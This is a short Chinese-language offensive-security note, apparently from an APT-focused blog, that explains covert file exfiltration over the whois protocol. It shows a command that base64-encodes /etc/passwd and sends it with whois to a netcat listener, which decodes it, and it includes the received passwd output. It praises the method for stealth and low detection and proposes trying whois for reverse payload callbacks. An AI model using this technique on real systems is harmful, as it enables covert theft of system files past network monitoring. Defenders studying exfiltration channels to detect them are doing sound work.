

专注APT攻击与防御

<https://micropoor.blogspot.com/>

利用whois传输文件：

传输机：

```
root@john:~# whois -h 127.0.0.1 -p 4444 `cat /etc/passwd | base64`
```

接受机：

```
root@john:/tmp# nc -l -v -p 4444 | sed "s/ //g" | base64 -d
```

```
root@john:/tmp# nc -l -v -p 4444 | sed "s/ //g" | base64 -d
listening on [any] 4444 ...
```

```
root@john:/tmp# nc -l -v -p 4444 | sed "s/ //g" | base64 -d
listening on [any] 4444 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 57376
root:x:0:0:root:/bin:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/bin/nologin
sys:x:3:3:sys:/bin:/bin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:0:games:/usr/games:/usr/games/nologin
man:x:6:1:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:list:/usr/sbin/nologin
irc:x:39:39:irc:/usr/sbin/nologin
gnats:x:41:41:gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
```

优点：适用于隐蔽传输。最小化被发现。

缺点：适用于传输小文件。

后者的话：whois是否同样适用于payload的反弹，是一个非常有趣的实验。

- Micropoor